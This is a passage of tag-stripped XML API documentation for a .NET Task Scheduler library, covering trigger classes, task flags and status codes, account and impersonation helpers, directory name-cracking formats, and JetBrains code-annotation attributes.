specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. Only available for + Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of the week every week or + every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + + + Gets the number of triggers in the collection. + + + + + Gets or sets a specified trigger from the collection. + + + The . + + The id () of the trigger to be retrieved. + + Specialized instance. + + + + + Mismatching Id for trigger and lookup. + + + + Gets a specified trigger from the collection. + + The index of the trigger to be retrieved. + Specialized instance. + + + + Add an unbound to the task. + + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + + Add a new trigger to the collections of triggers for the task. + + The type of trigger to create. + A instance of the specified type. + + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all triggers from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified trigger type is contained in this collection. + + Type of the trigger. + + true if the specified trigger type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an , starting at a particular index. + + The one-dimensional that is the destination of the elements copied from . The must have zero-based indexing. + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + + The for this collection. + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the trigger to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an trigger at the specified index. + + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the trigger at a specified index. + + Index of trigger to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the triggers in this collection. + + + A that represents the triggers in this collection. + + + + + Releases all resources used by this class. + + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Represents a strongly-typed, read-only collection of elements. + The type of the elements. + + + + Gets the number of elements in the collection. + The number of elements in the collection. + + + Represents a read-only collection of elements that can be accessed by index. + The type of elements in the read-only list. + + + + Gets the element at the specified index in the read-only list. + The element at the specified index in the read-only list. + The zero-based index of the element to get. + + + + Stub + + + + + Stub + + + + + Stub + + The sender. + The instance containing the event data. + + + + Stub + + + + + Initializes a new instance of the class. + + The action. + The new items. + The old items. + The new index. + The old index. + + + + Initializes a new instance of the class. + + The action. + + + + Initializes a new instance of the class. + + The action. + The item. + The index. + + + + Initializes a new instance of the class. + + The action. + The item. + The item2. + The index. + + + + Initializes a new instance of the class. + + The action. + The new items. + + + + Gets the action. + + + The action. + + + + + Gets the new items. + + + The new items. + + + + + Gets the new index of the starting. + + + The new index of the starting. + + + + + Gets the old items. + + + The old items. + + + + + Gets the old index of the starting. + + + The old index of the starting. + + + + + Stub + + + + + The add + + + + + The move + + + + + The remove + + + + + The replace + + + + + The reset + + + + + Provides thread-local storage of data. + + Specifies the type of data stored per-thread. + + + With the exception of , all public and protected members of + are thread-safe and may be used + concurrently from multiple threads. + + + + + + Initializes the instance. + + + + + Initializes the instance. + + Whether to track all values set on the instance and expose them through the Values property. + + + + Initializes the instance with the + specified function. + + + The invoked to produce a lazily-initialized value when + an attempt is made to retrieve without it having been previously initialized. + + + is a null reference (Nothing in Visual Basic). + + + + + Initializes the instance with the + specified function. + + + The invoked to produce a lazily-initialized value when + an attempt is made to retrieve without it having been previously initialized. + + Whether to track all values set on the instance and expose them via the Values property. + + is a null reference (Nothing in Visual Basic). + + + + + Releases the resources used by this instance. + + + + + Releases the resources used by this instance. + + + Unlike most of the members of , this method is not thread-safe. + + + + + Releases the resources used by this instance. + + + A Boolean value that indicates whether this method is being called due to a call to . + + + Unlike most of the members of , this method is not thread-safe. + + + + Creates and returns a string representation of this instance for the current thread. + The result of calling on the . + + The for the current thread is a null reference (Nothing in Visual Basic). + + + The initialization function referenced in an improper manner. + + + The instance has been disposed. + + + Calling this method forces initialization for the current thread, as is the + case with accessing directly. + + + + + Gets or sets the value of this instance for the current thread. + + + The initialization function referenced in an improper manner. + + + The instance has been disposed. + + + If this instance was not previously initialized for the current thread, + accessing will attempt to initialize it. If an initialization function was + supplied during the construction, that initialization will happen by invoking the function + to retrieve the initial value for . Otherwise, the default value of + will be used. + + + + + Creates a LinkedSlot and inserts it into the linked list for this ThreadLocal instance. + + + + + Gets a list for all of the values currently stored by all of the threads that have accessed this instance. + + + The instance has been disposed. + + + + Gets all of the threads' values in a list. + + + Gets the number of threads that have data in this instance. + + + + Gets whether is initialized on the current thread. + + + The instance has been disposed. + + + + Gets the value of the ThreadLocal<T> for debugging display purposes. It takes care of getting + the value for the current thread in the ThreadLocal mode. + + + Gets the values of all threads that accessed the ThreadLocal<T>. + + + + Resizes a table to a certain length (or larger). + + + + + Chooses the next larger table size + + + + + A wrapper struct used as LinkedSlotVolatile[] - an array of LinkedSlot instances, but with volatile semantics + on array accesses. + + + + + A node in the doubly-linked list stored in the ThreadLocal instance. + + The value is stored in one of two places: + + 1. If SlotArray is not null, the value is in SlotArray.Table[id] + 2. If SlotArray is null, the value is in FinalValue. + + + + + A manager class that assigns IDs to ThreadLocal instances + + + + + A class that facilitates ThreadLocal cleanup after a thread exits. + + After a thread with an associated thread-local table has exited, the FinalizationHelper + is responsible for removing back-references to the table. Since an instance of FinalizationHelper + is only referenced from a single thread-local slot, the FinalizationHelper will be GC'd once + the thread has exited. + + The FinalizationHelper then locates all LinkedSlot instances with back-references to the table + (all those LinkedSlot instances can be found by following references from the table slots) and + releases the table so that it can get GC'd. + + + + A debugger view of the ThreadLocal<T> to surface additional debugging properties and + to ensure that the ThreadLocal<T> does not become initialized if it was not already. + + + Constructs a new debugger view object for the provided ThreadLocal object. + A ThreadLocal object to browse in the debugger. + + + Returns whether the ThreadLocal object is initialized or not. + + + Returns the value of the ThreadLocal object. + + + Return all values for all threads that have accessed this instance. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
